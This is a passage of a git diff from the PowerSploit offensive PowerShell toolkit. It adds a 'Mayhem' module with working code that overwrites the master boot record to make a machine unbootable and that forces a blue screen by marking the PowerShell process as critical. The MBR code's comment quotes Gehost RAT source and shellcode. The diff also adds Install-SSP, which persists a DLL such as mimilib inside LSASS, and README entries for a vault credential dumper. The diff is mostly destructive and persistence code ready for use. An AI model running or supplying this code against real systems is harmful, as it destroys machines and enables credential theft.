module +# CLRVersion = '' + +# Processor architecture (None, X86, Amd64) required by this module +# ProcessorArchitecture = '' + +# Modules that must be imported into the global environment prior to importing this module +# RequiredModules = @() + +# Assemblies that must be loaded prior to importing this module +# RequiredAssemblies = @() + +# Script files (.ps1) that are run in the caller's environment prior to importing this module. +# ScriptsToProcess = '' + +# Type files (.ps1xml) to be loaded when importing this module +# TypesToProcess = @() + +# Format files (.ps1xml) to be loaded when importing this module +# FormatsToProcess = @() + +# Modules to import as nested modules of the module specified in RootModule/ModuleToProcess +# NestedModules = @() + +# Functions to export from this module +FunctionsToExport = '*' + +# Cmdlets to export from this module +CmdletsToExport = '*' + +# Variables to export from this module +VariablesToExport = '' + +# Aliases to export from this module +AliasesToExport = '' + +# List of all modules packaged with this module. +ModuleList = @(@{ModuleName = 'Mayhem'; ModuleVersion = '1.0.0.0'; GUID = 'e65b93ff-63ba-4c38-97f1-bc4fe5a6651c'}) + +# List of all files packaged with this module +FileList = 'Mayhem.psm1', 'Mayhem.psd1', 'Usage.md' + +# Private data to pass to the module specified in RootModule/ModuleToProcess +# PrivateData = '' + +# HelpInfo URI of this module +# HelpInfoURI = '' + +# Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix. +# DefaultCommandPrefix = '' + +} diff --git a/Mayhem/Mayhem.psm1 b/Mayhem/Mayhem.psm1 new file mode 100644 index 0000000..0b4f843 --- /dev/null +++ b/Mayhem/Mayhem.psm1 @@ -0,0 +1,366 @@ +function Set-MasterBootRecord +{ +<# +.SYNOPSIS + + Proof of concept code that overwrites the master boot record with the + message of your choice. + + PowerSploit Function: Set-MasterBootRecord + Author: Matthew Graeber (@mattifestation) and Chris Campbell (@obscuresec) + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: None + +.DESCRIPTION + + Set-MasterBootRecord is proof of concept code designed to show that it is + possible with PowerShell to overwrite the MBR. This technique was taken + from a public malware sample. This script is inteded solely as proof of + concept code. + +.PARAMETER BootMessage + + Specifies the message that will be displayed upon making your computer a brick. + +.PARAMETER RebootImmediately + + Reboot the machine immediately upon overwriting the MBR. + +.PARAMETER Force + + Suppress the warning prompt. + +.EXAMPLE + + Set-MasterBootRecord -BootMessage 'This is what happens when you fail to defend your network. #CCDC' + +.NOTES + + Obviously, this will only work if you have a master boot record to + overwrite. This won't work if you have a GPT (GUID partition table) +#> + +<# +This code was inspired by the Gh0st RAT source code seen here (acquired from: http://webcache.googleusercontent.com/search?q=cache:60uUuXfQF6oJ:read.pudn.com/downloads116/sourcecode/hack/trojan/494574/gh0st3.6_%25E6%25BA%2590%25E4%25BB%25A3%25E7%25A0%2581/gh0st/gh0st.cpp__.htm+&cd=3&hl=en&ct=clnk&gl=us): + +// CGh0stApp message handlers + +unsigned char scode[] = +"\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c" +"\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72" +"\x75\x73\x21\x20\x46\x75\x63\x6b\x20\x79\x6f\x75\x20\x3a\x2d\x29"; + +int CGh0stApp::KillMBR() +{ + HANDLE hDevice; + DWORD dwBytesWritten, dwBytesReturned; + BYTE pMBR[512] = {0}; + + // 重新构造MBR + memcpy(pMBR, scode, sizeof(scode) - 1); + pMBR[510] = 0x55; + pMBR[511] = 0xAA; + + hDevice = CreateFile + ( + "\\\\.\\PHYSICALDRIVE0", + GENERIC_READ | GENERIC_WRITE, + FILE_SHARE_READ | FILE_SHARE_WRITE, + NULL, + OPEN_EXISTING, + 0, + NULL + ); + if (hDevice == INVALID_HANDLE_VALUE) + return -1; + DeviceIoControl + ( + hDevice, + FSCTL_LOCK_VOLUME, + NULL, + 0, + NULL, + 0, + &dwBytesReturned, + NULL + ); + // 写入病毒内容 + WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL); + DeviceIoControl + ( + hDevice, + FSCTL_UNLOCK_VOLUME, + NULL, + 0, + NULL, + 0, + &dwBytesReturned, + NULL + ); + CloseHandle(hDevice); + + ExitProcess(-1); + return 0; +} +#> + + [CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'High')] Param ( + [ValidateLength(1, 479)] + [String] + $BootMessage = 'Stop-Crying; Get-NewHardDrive', + + [Switch] + $RebootImmediately, + + [Switch] + $Force + ) + + if (!([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]'Administrator')) + { + throw 'This script must be executed from an elevated command prompt.' + } + + if (!$Force) + { + if (!$psCmdlet.ShouldContinue('Do you want to continue?','Set-MasterBootRecord prevent your machine from booting.')) + { + return + } + } + + #region define P/Invoke types dynamically + $DynAssembly = New-Object System.Reflection.AssemblyName('Win32') + $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('Win32', $False) + + $TypeBuilder = $ModuleBuilder.DefineType('Win32.Kernel32', 'Public, Class') + $DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String])) + $SetLastError = [Runtime.InteropServices.DllImportAttribute].GetField('SetLastError') + $SetLastErrorCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, + @('kernel32.dll'), + [Reflection.FieldInfo[]]@($SetLastError), + @($True)) + + # Define [Win32.Kernel32]::DeviceIoControl + $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('DeviceIoControl', + 'kernel32.dll', + ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), + [Reflection.CallingConventions]::Standard, + [Bool], + [Type[]]@([IntPtr], [UInt32], [IntPtr], [UInt32], [IntPtr], [UInt32], [UInt32].MakeByRefType(), [IntPtr]), + [Runtime.InteropServices.CallingConvention]::Winapi, + [Runtime.InteropServices.CharSet]::Auto) + $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute) + + # Define [Win32.Kernel32]::CreateFile + $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('CreateFile', + 'kernel32.dll', + ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), + [Reflection.CallingConventions]::Standard, + [IntPtr], + [Type[]]@([String], [Int32], [UInt32], [IntPtr], [UInt32], [UInt32], [IntPtr]), + [Runtime.InteropServices.CallingConvention]::Winapi, + [Runtime.InteropServices.CharSet]::Ansi) + $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute) + + # Define [Win32.Kernel32]::WriteFile + $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('WriteFile', + 'kernel32.dll', + ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), + [Reflection.CallingConventions]::Standard, + [Bool], + [Type[]]@([IntPtr], [IntPtr], [UInt32], [UInt32].MakeByRefType(), [IntPtr]), + [Runtime.InteropServices.CallingConvention]::Winapi, + [Runtime.InteropServices.CharSet]::Ansi) + $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute) + + # Define [Win32.Kernel32]::CloseHandle + $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('CloseHandle', + 'kernel32.dll', + ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), + [Reflection.CallingConventions]::Standard, + [Bool], + [Type[]]@([IntPtr]), + [Runtime.InteropServices.CallingConvention]::Winapi, + [Runtime.InteropServices.CharSet]::Auto) + $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute) + + $Kernel32 = $TypeBuilder.CreateType() + #endregion + + $LengthBytes = [BitConverter]::GetBytes(([Int16] ($BootMessage.Length + 5))) + # Convert the boot message to a byte array + $MessageBytes = [Text.Encoding]::ASCII.GetBytes(('PS > ' + $BootMessage)) + + [Byte[]] $MBRInfectionCode = @( + 0xb8, 0x12, 0x00, # MOV AX, 0x0012 ; CMD: Set video mode, ARG: text resolution 80x30, pixel resolution 640x480, colors 16/256K, VGA + 0xcd, 0x10, # INT 0x10 ; BIOS interrupt call - Set video mode + 0xb8, 0x00, 0x0B, # MOV AX, 0x0B00 ; CMD: Set background color + 0xbb, 0x01, 0x00, # MOV BX, 0x000F ; Background color: Blue + 0xcd, 0x10, # INT 0x10 ; BIOS interrupt call - Set background color + 0xbd, 0x20, 0x7c, # MOV BP, 0x7C18 ; Offset to string: 0x7C00 (base of MBR code) + 0x20 + 0xb9) + $LengthBytes + @( # MOV CX, 0x0018 ; String length + 0xb8, 0x01, 0x13, # MOV AX, 0x1301 ; CMD: Write string, ARG: Assign BL attribute (color) to all characters + 0xbb, 0x0f, 0x00, # MOV BX, 0x000F ; Page Num: 0, Color: White + 0xba, 0x00, 0x00, # MOV DX, 0x0000 ; Row: 0, Column: 0 + 0xcd, 0x10, # INT 0x10 ; BIOS interrupt call - Write string + 0xe2, 0xfe # LOOP 0x16 ; Print all characters to the buffer + ) + $MessageBytes + + $MBRSize = [UInt32] 512 + + if ($MBRInfectionCode.Length -gt ($MBRSize - 2)) + { + throw "The size of the MBR infection code cannot exceed $($MBRSize - 2) bytes." + } + + # Allocate 512 bytes for the MBR + $MBRBytes = [Runtime.InteropServices.Marshal]::AllocHGlobal($MBRSize) + + # Zero-initialize the allocated unmanaged memory + 0..511 | % { [Runtime.InteropServices.Marshal]::WriteByte([IntPtr]::Add($MBRBytes, $_), 0) } + + [Runtime.InteropServices.Marshal]::Copy($MBRInfectionCode, 0, $MBRBytes, $MBRInfectionCode.Length) + + # Write boot record signature to the end of the MBR + [Runtime.InteropServices.Marshal]::WriteByte([IntPtr]::Add($MBRBytes, ($MBRSize - 2)), 0x55) + [Runtime.InteropServices.Marshal]::WriteByte([IntPtr]::Add($MBRBytes, ($MBRSize - 1)), 0xAA) + + # Get the device ID of the boot disk + $DeviceID = Get-WmiObject -Class Win32_DiskDrive -Filter 'Index = 0' | Select-Object -ExpandProperty DeviceID + + $GENERIC_READWRITE = 0x80000000 -bor 0x40000000 + $FILE_SHARE_READWRITE = 2 -bor 1 + $OPEN_EXISTING = 3 + + # Obtain a read handle to the raw disk + $DriveHandle = $Kernel32::CreateFile($DeviceID, $GENERIC_READWRITE, $FILE_SHARE_READWRITE, 0, $OPEN_EXISTING, 0, 0) + + if ($DriveHandle -eq ([IntPtr] 0xFFFFFFFF)) + { + throw "Unable to obtain read/write handle to $DeviceID" + } + + $BytesReturned = [UInt32] 0 + $BytesWritten = [UInt32] 0 + $FSCTL_LOCK_VOLUME = 0x00090018 + $FSCTL_UNLOCK_VOLUME = 0x0009001C + + $null = $Kernel32::DeviceIoControl($DriveHandle, $FSCTL_LOCK_VOLUME, 0, 0, 0, 0, [Ref] $BytesReturned, 0) + $null = $Kernel32::WriteFile($DriveHandle, $MBRBytes, $MBRSize, [Ref] $BytesWritten, 0) + $null = $Kernel32::DeviceIoControl($DriveHandle, $FSCTL_UNLOCK_VOLUME, 0, 0, 0, 0, [Ref] $BytesReturned, 0) + $null = $Kernel32::CloseHandle($DriveHandle) + + Start-Sleep -Seconds 2 + + [Runtime.InteropServices.Marshal]::FreeHGlobal($MBRBytes) + + Write-Verbose 'Master boot record overwritten successfully.' + + if ($RebootImmediately) + { + Restart-Computer -Force + } +} + +function Set-CriticalProcess +{ +<# +.SYNOPSIS + +Causes your machine to blue screen upon exiting PowerShell. + +PowerSploit Function: Set-CriticalProcess +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +.PARAMETER ExitImmediately + +Immediately exit PowerShell after successfully marking the process as critical. + +.PARAMETER Force + +Set the running PowerShell process as critical without asking for confirmation. + +.EXAMPLE + +Set-CriticalProcess + +.EXAMPLE + +Set-CriticalProcess -ExitImmediately + +.EXAMPLE + +Set-CriticalProcess -Force -Verbose + +#> + + [CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'High')] Param ( + [Switch] + $Force, + + [Switch] + $ExitImmediately + ) + + if (-not ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) + { + throw 'You must run Set-CriticalProcess from an elevated PowerShell prompt.' + } + + $Response = $True + + if (!$Force) + { + $Response = $psCmdlet.ShouldContinue('Have you saved all your work?', 'The machine will blue screen when you exit PowerShell.') + } + + if (!$Response) + { + return + } + + $DynAssembly = New-Object System.Reflection.AssemblyName('BlueScreen') + $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('BlueScreen', $False) + + # Define [ntdll]::NtQuerySystemInformation method + $TypeBuilder = $ModuleBuilder.DefineType('BlueScreen.Win32.ntdll', 'Public, Class') + $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('NtSetInformationProcess', + 'ntdll.dll', + ([Reflection.MethodAttributes] 'Public, Static'), + [Reflection.CallingConventions]::Standard, + [Int32], + [Type[]] @([IntPtr], [UInt32], [IntPtr].MakeByRefType(), [UInt32]), + [Runtime.InteropServices.CallingConvention]::Winapi, + [Runtime.InteropServices.CharSet]::Auto) + + $ntdll = $TypeBuilder.CreateType() + + $ProcHandle = [Diagnostics.Process]::GetCurrentProcess().Handle + $ReturnPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(4) + + $ProcessBreakOnTermination = 29 + $SizeUInt32 = 4 + + try + { + $null = $ntdll::NtSetInformationProcess($ProcHandle, $ProcessBreakOnTermination, [Ref] $ReturnPtr, $SizeUInt32) + } + catch + { + return + } + + Write-Verbose 'PowerShell is now marked as a critical process and will blue screen the machine upon exiting the process.' + + if ($ExitImmediately) + { + Stop-Process -Id $PID + } +}
\ No newline at end of file diff --git a/Mayhem/Usage.md b/Mayhem/Usage.md new file mode 100644 index 0000000..c5c316f --- /dev/null +++ b/Mayhem/Usage.md @@ -0,0 +1,12 @@ +To install this module, drop the entire Mayhem folder into one of your module directories. The default PowerShell module paths are listed in the $Env:PSModulePath environment variable. + +The default per-user module path is: "$Env:HomeDrive$Env:HOMEPATH\Documents\WindowsPowerShell\Modules" +The default computer-level module path is: "$Env:windir\System32\WindowsPowerShell\v1.0\Modules" + +To use the module, type `Import-Module Mayhem` + +To see the commands imported, type `Get-Command -Module Mayhem` + +For help on each individual command, Get-Help is your friend. + +Note: The tools contained within this module were all designed such that they can be run individually. Including them in a module simply lends itself to increased portability.
\ No newline at end of file diff --git a/Persistence/Persistence.psd1 b/Persistence/Persistence.psd1 index b2fa69f..f51f7ce 100644 --- a/Persistence/Persistence.psd1 +++ b/Persistence/Persistence.psd1 @@ -4,7 +4,7 @@ ModuleToProcess = 'Persistence.psm1' # Version number of this module. -ModuleVersion = '1.0.0.0' +ModuleVersion = '1.1.0.0' # ID used to uniquely identify this module GUID = '633d0f10-a056-41da-869d-6d2f75430195' @@ -27,9 +27,6 @@ FunctionsToExport = '*' # Cmdlets to export from this module CmdletsToExport = '*' -# List of all modules packaged with this module. -ModuleList = @(@{ModuleName = 'Persistence'; ModuleVersion = '1.0.0.0'; GUID = '633d0f10-a056-41da-869d-6d2f75430195'}) - # List of all files packaged with this module FileList = 'Persistence.psm1', 'Persistence.psd1', 'Usage.md' diff --git a/Persistence/Persistence.psm1 b/Persistence/Persistence.psm1 index d0545d6..3666c59 100644 --- a/Persistence/Persistence.psm1 +++ b/Persistence/Persistence.psm1 @@ -697,4 +697,298 @@ $UserTriggerRemoval } #endregion +} + +function Install-SSP +{ +<# +.SYNOPSIS + +Installs a security support provider (SSP) dll. + +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +.DESCRIPTION + +Install-SSP installs an SSP dll. Installation involves copying the dll to +%windir%\System32 and adding the name of the dll to +HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages. + +.PARAMETER Remove + +Specifies the path to the SSP dll you would like to install. + +.EXAMPLE + +Install-SSP -Path .\mimilib.dll + +.NOTES + +The SSP dll must match the OS architecture. i.e. You must have a 64-bit SSP dll +if you are running a 64-bit OS. In order for the SSP dll to be loaded properly +into lsass, the dll must export SpLsaModeInitialize. +#> + + [CmdletBinding()] Param ( + [ValidateScript({Test-Path (Resolve-Path $_)})] + [String] + $Path + ) + + $Principal = [Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent() + + if(-not $Principal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) + { + throw 'Installing an SSP dll requires administrative rights. Execute this script from an elevated PowerShell prompt.' + } + + # Resolve the full path if a relative path was provided. + $FullDllPath = Resolve-Path $Path + + # Helper function used to determine the dll architecture + function local:Get-PEArchitecture + { + Param + ( + [Parameter( Position = 0, + Mandatory = $True )] + [String] + $Path + ) + + # Parse PE header to see if binary was compiled 32 or 64-bit + $FileStream = New-Object System.IO.FileStream($Path, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read) + + [Byte[]] $MZHeader = New-Object Byte[](2) + $FileStream.Read($MZHeader,0,2) | Out-Null + + $Header = [System.Text.AsciiEncoding]::ASCII.GetString($MZHeader) + if ($Header -ne 'MZ') + { + $FileStream.Close() + Throw 'Invalid PE header.' + } + + # Seek to 0x3c - IMAGE_DOS_HEADER.e_lfanew (i.e. Offset to PE Header) + $FileStream.Seek(0x3c, [System.IO.SeekOrigin]::Begin) | Out-Null + + [Byte[]] $lfanew = New-Object Byte[](4) + + # Read offset to the PE Header (will be read in reverse) + $FileStream.Read($lfanew,0,4) | Out-Null + $PEOffset = [Int] ('0x{0}' -f (( $lfanew[-1..-4] | % { $_.ToString('X2') } ) -join '')) + + # Seek to IMAGE_FILE_HEADER.IMAGE_FILE_MACHINE + $FileStream.Seek($PEOffset + 4, [System.IO.SeekOrigin]::Begin) | Out-Null + [Byte[]] $IMAGE_FILE_MACHINE = New-Object Byte[](2) + + # Read compiled architecture + $FileStream.Read($IMAGE_FILE_MACHINE,0,2) | Out-Null + $Architecture = '{0}' -f (( $IMAGE_FILE_MACHINE[-1..-2] | % { $_.ToString('X2') } ) -join '') + $FileStream.Close() + + if (($Architecture -ne '014C') -and ($Architecture -ne '8664')) + { + Throw 'Invalid PE header or unsupported architecture.' + } + + if ($Architecture -eq '014C') + { + Write-Output '32-bit' + } + elseif ($Architecture -eq '8664') + { + Write-Output '64-bit' + } + else + { + Write-Output 'Other' + } + } + + $DllArchitecture = Get-PEArchitecture $FullDllPath + + $OSArch = Get-WmiObject Win32_OperatingSystem | Select-Object -ExpandProperty OSArchitecture + + if ($DllArchitecture -ne $OSArch) + { + throw 'The operating system architecture must match the architecture of the SSP dll.' + } + + $Dll = Get-Item $FullDllPath | Select-Object -ExpandProperty Name + + # Get the dll filename without the extension. + # This will be added to the registry. + $DllName = $Dll | % { % {($_ -split '\.')[0]} } + + # Enumerate all of the currently installed SSPs + $SecurityPackages = Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Name 'Security Packages' | + Select-Object -ExpandProperty 'Security Packages' + + if ($SecurityPackages -contains $DllName) + { + throw "'$DllName' is already present in HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages." + } + + # In case you're running 32-bit PowerShell on a 64-bit OS + $NativeInstallDir = "$($Env:windir)\Sysnative" + + if (Test-Path $NativeInstallDir) + { + $InstallDir = $NativeInstallDir + } + else + { + $InstallDir = "$($Env:windir)\System32" + } + + if (Test-Path (Join-Path $InstallDir $Dll)) + { + throw "$Dll is already installed in $InstallDir." + } + + # If you've made it this far, you are clear to install the SSP dll. + Copy-Item $FullDllPath $InstallDir + + $SecurityPackages += $DllName + + Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Name 'Security Packages' -Value $SecurityPackages + + Write-Verbose 'Installation complete! Reboot for changes to take effect.' +} + +function Get-SecurityPackages +{ +<# +.SYNOPSIS + +Enumerates all loaded security packages (SSPs). + +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +.DESCRIPTION + +Get-SecurityPackages is a wrapper for secur32!EnumerateSecurityPackages. +It also parses the returned SecPkgInfo struct array. + +.EXAMPLE + +Get-SecurityPackages +#> + + [CmdletBinding()] Param() + + #region P/Invoke declarations for secur32.dll + $DynAssembly = New-Object System.Reflection.AssemblyName('SSPI') + $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('SSPI', $False) + + $FlagsConstructor = [FlagsAttribute].GetConstructor(@()) + $FlagsCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($FlagsConstructor, @()) + $StructAttributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + + $EnumBuilder = $ModuleBuilder.DefineEnum('SSPI.SECPKG_FLAG', 'Public', [Int32]) + $EnumBuilder.SetCustomAttribute($FlagsCustomAttribute) + $null = $EnumBuilder.DefineLiteral('INTEGRITY', 1) + $null = $EnumBuilder.DefineLiteral('PRIVACY', 2) + $null = $EnumBuilder.DefineLiteral('TOKEN_ONLY', 4) + $null = $EnumBuilder.DefineLiteral('DATAGRAM', 8) + $null = $EnumBuilder.DefineLiteral('CONNECTION', 0x10) + $null = $EnumBuilder.DefineLiteral('MULTI_REQUIRED', 0x20) + $null = $EnumBuilder.DefineLiteral('CLIENT_ONLY', 0x40) + $null = $EnumBuilder.DefineLiteral('EXTENDED_ERROR', 0x80) + $null = $EnumBuilder.DefineLiteral('IMPERSONATION', 0x100) + $null = $EnumBuilder.DefineLiteral('ACCEPT_WIN32_NAME', 0x200) + $null = $EnumBuilder.DefineLiteral('STREAM', 0x400) + $null = $EnumBuilder.DefineLiteral('NEGOTIABLE', 0x800) + $null = $EnumBuilder.DefineLiteral('GSS_COMPATIBLE', 0x1000) + $null = $EnumBuilder.DefineLiteral('LOGON', 0x2000) + $null = $EnumBuilder.DefineLiteral('ASCII_BUFFERS', 0x4000) + $null = $EnumBuilder.DefineLiteral('FRAGMENT', 0x8000) + $null = $EnumBuilder.DefineLiteral('MUTUAL_AUTH', 0x10000) + $null = $EnumBuilder.DefineLiteral('DELEGATION', 0x20000) + $null = $EnumBuilder.DefineLiteral('READONLY_WITH_CHECKSUM', 0x40000) + $null = $EnumBuilder.DefineLiteral('RESTRICTED_TOKENS', 0x80000) + $null = $EnumBuilder.DefineLiteral('NEGO_EXTENDER', 0x100000) + $null = $EnumBuilder.DefineLiteral('NEGOTIABLE2', 0x200000) + $null = $EnumBuilder.DefineLiteral('APPCONTAINER_PASSTHROUGH', 0x400000) + $null = $EnumBuilder.DefineLiteral('APPCONTAINER_CHECKS', 0x800000) + $SECPKG_FLAG = $EnumBuilder.CreateType() + + $TypeBuilder = $ModuleBuilder.DefineType('SSPI.SecPkgInfo', $StructAttributes, [Object], [Reflection.Emit.PackingSize]::Size8) + $null = $TypeBuilder.DefineField('fCapabilities', $SECPKG_FLAG, 'Public') + $null = $TypeBuilder.DefineField('wVersion', [Int16], 'Public') + $null = $TypeBuilder.DefineField('wRPCID', [Int16], 'Public') + $null = $TypeBuilder.DefineField('cbMaxToken', [Int32], 'Public') + $null = $TypeBuilder.DefineField('Name', [IntPtr], 'Public') + $null = $TypeBuilder.DefineField('Comment', [IntPtr], 'Public') + $SecPkgInfo = $TypeBuilder.CreateType() + + $TypeBuilder = $ModuleBuilder.DefineType('SSPI.Secur32', 'Public, Class') + $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('EnumerateSecurityPackages', + 'secur32.dll', + 'Public, Static', + [Reflection.CallingConventions]::Standard, + [Int32], + [Type[]] @([Int32].MakeByRefType(), + [IntPtr].MakeByRefType()), + [Runtime.InteropServices.CallingConvention]::Winapi, + [Runtime.InteropServices.CharSet]::Ansi) + + $Secur32 = $TypeBuilder.CreateType() + + $PackageCount = 0 + $PackageArrayPtr = [IntPtr]::Zero + $Result = $Secur32::EnumerateSecurityPackages([Ref] $PackageCount, [Ref] $PackageArrayPtr) + + if ($Result -ne 0) + { + throw "Unable to enumerate seucrity packages. Error (0x$($Result.ToString('X8')))" + } + + if ($PackageCount -eq 0) + { + Write-Verbose 'There are no installed security packages.' + return + } + + $StructAddress = $PackageArrayPtr + + foreach ($i in 1..$PackageCount) + { + $SecPackageStruct = [Runtime.InteropServices.Marshal]::PtrToStructure($StructAddress, [Type] $SecPkgInfo) + $StructAddress = [IntPtr] ($StructAddress.ToInt64() + [Runtime.InteropServices.Marshal]::SizeOf([Type] $SecPkgInfo)) + + $Name = $null + + if ($SecPackageStruct.Name -ne [IntPtr]::Zero) + { + $Name = [Runtime.InteropServices.Marshal]::PtrToStringAnsi($SecPackageStruct.Name) + } + + $Comment = $null + + if ($SecPackageStruct.Comment -ne [IntPtr]::Zero) + { + $Comment = [Runtime.InteropServices.Marshal]::PtrToStringAnsi($SecPackageStruct.Comment) + } + + $Attributes = @{ + Name = $Name + Comment = $Comment + Capabilities = $SecPackageStruct.fCapabilities + MaxTokenSize = $SecPackageStruct.cbMaxToken + } + + $SecPackage = New-Object PSObject -Property $Attributes + $SecPackage.PSObject.TypeNames[0] = 'SECUR32.SECPKGINFO' + + $SecPackage + } }
\ No newline at end of file @@ -20,10 +20,6 @@ Injects shellcode into the process ID of your choosing or within PowerShell loca Execute shellcode within the context of the running PowerShell process without making any Win32 function calls. -#### `Watch-BlueScreen` - -Cause a blue screen to occur (Windows 7 and below). - ## ScriptModification **Modify and/or prepare scripts for execution on a compromised machine.** @@ -60,6 +56,14 @@ Configure elevated persistence options for the Add-Persistence function. Add persistence capabilities to a script. +#### `Install-SSP` + +Installs a security support provider (SSP) dll. + +#### `Get-SecurityPackages` + +Enumerates all loaded security packages (SSPs). + ## PETools **Parse/manipulate Windows portable executables.** @@ -112,10 +116,6 @@ Marshals data from an unmanaged block of memory in an arbitrary process to a new A proxy function used to extend the built-in Get-Member cmdlet. It adds the '-Private' parameter allowing you to display non-public .NET members -#### `New-Object` - -A proxy function for New-Object that accepts a CLSID with the -ComObject parameter. - #### `Get-Strings` Dumps strings from files in both Unicode and Ascii. This cmdlet replicates the functionality of strings.exe from Sysinternals. @@ -192,10 +192,27 @@ Lists the device paths of all local volume shadow copies. Mounts a volume shadow copy. +#### `Get-VaultCredential` + +Displays Windows vault credential objects including cleartext web credentials. + #### `Out-Minidump` Generates a full-memory minidump of a process. +## Mayhem + +**Cause general mayhem with PowerShell.** + +#### `Set-MasterBootRecord` + +Proof of concept code that overwrites the master boot record with the + message of your choice. + +#### `Set-CriticalProcess` + +Causes your machine to blue screen upon exiting PowerShell. + ## Recon **Tools to aid in the reconnaissance phase of a penetration test.** @@ -250,7 +267,7 @@ Note: The tools contained within this module were all designed such that they ca **For all contributors and future contributors to PowerSploit, I ask that you follow this style guide when writing your scripts/modules.** -* Avoid Write-Host **at all costs**. You should output custom objects instead. For more information on creating custom objects, read these articles: +* Avoid Write-Host **at all costs**. PowerShell functions/cmdlets are not command-line utilities! Pull requests containing code that uses Write-Host will not be considered. You should output custom objects instead. For more information on creating custom objects, read these articles: * <http://blogs.technet.com/b/heyscriptingguy/archive/2011/05/19/create-custom-objects-in-your-powershell-script.aspx> * <http://technet.microsoft.com/en-us/library/ff730946.aspx> diff --git a/ReverseEngineering/New-Object.ps1 b/ReverseEngineering/New-Object.ps1 deleted file mode 100644 index 52c38c8..0000000 --- a/ReverseEngineering/New-Object.ps1 +++ /dev/null @@ -1,90 +0,0 @@ -function New-Object
-{
- [CmdletBinding(DefaultParameterSetName='Net')]
- param(
- [Parameter(ParameterSetName='Net', Mandatory=$true, Position=0)]
- [string]
- ${TypeName},
-
- [Parameter(ParameterSetName='Com', Mandatory=$true, Position=0)]
- [string]
- ${ComObject},
-
- [Parameter(ParameterSetName='Net', Position=1)]
- [Alias('Args')]
- [System.Object[]]
- ${ArgumentList},
-
- [Parameter(ParameterSetName='Com')]
- [switch]
- ${Strict},
-
- [System.Collections.IDictionary]
- ${Property})
-
- begin
- {
- Set-StrictMode -Version 2
-
- try {
- $outBuffer = $null
- if ($PSBoundParameters.TryGetValue('OutBuffer', [ref]$outBuffer))
- {
- $PSBoundParameters['OutBuffer'] = 1
- }
-
- $ClsidPresent = $true
- $Guid = [Guid]::NewGuid()
-
- try
- {
- $Guid = [Guid] $PSBoundParameters['ComObject']
- }
- catch
- {
- $ClsidPresent = $false
-
- $wrappedCmd = $ExecutionContext.InvokeCommand.GetCommand('New-Object', [System.Management.Automation.CommandTypes]::Cmdlet)
- $scriptCmd = {& $wrappedCmd @PSBoundParameters }
- $steppablePipeline = $scriptCmd.GetSteppablePipeline($myInvocation.CommandOrigin)
- $steppablePipeline.Begin($PSCmdlet)
- }
- } catch {
- throw
- }
- }
-
- process
- {
- if ($ClsidPresent)
- {
- [Activator]::CreateInstance([Type]::GetTypeFromCLSID($Guid), $Property)
- }
- else
- {
- try {
- $steppablePipeline.Process($_)
- } catch {
- throw
- }
- }
- }
-
- end
- {
- if (!$ClsidPresent)
- {
- try {
- $steppablePipeline.End()
- } catch {
- throw
- }
- }
- }
- <#
-
- .ForwardHelpTargetName New-Object
- .ForwardHelpCategory Cmdlet
-
- #>
-}
